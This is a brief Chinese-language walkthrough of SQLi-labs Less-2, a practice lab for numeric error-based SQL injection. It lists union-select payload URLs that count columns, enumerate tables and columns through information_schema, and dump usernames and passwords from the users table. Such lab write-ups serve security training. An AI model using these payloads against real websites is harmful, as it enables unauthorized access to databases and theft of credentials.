Sqlilabs-2

由题目可知：

说的是基于数字的错误注入，当增加一个单引号 ’ 时，会报错：

所以我们可以得到一个结果，就是当我们查询数据库的时候，查询代码使用了整数，就是说你必须是整数，别的不行，这时候可以使用 %27 或者 --+ 把剩余的注释掉，然后常规操作
http://sqlilabs/Less-2/?id=1 order by 3--+
http://sqlilabs/Less-2/?id=1 order by 4--+
http://sqlilabs/Less-2/?id=-1 union select 1,2,3--+

http://sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

http://sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+

http://sqlilabs/Less-2/?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users) users--+

：D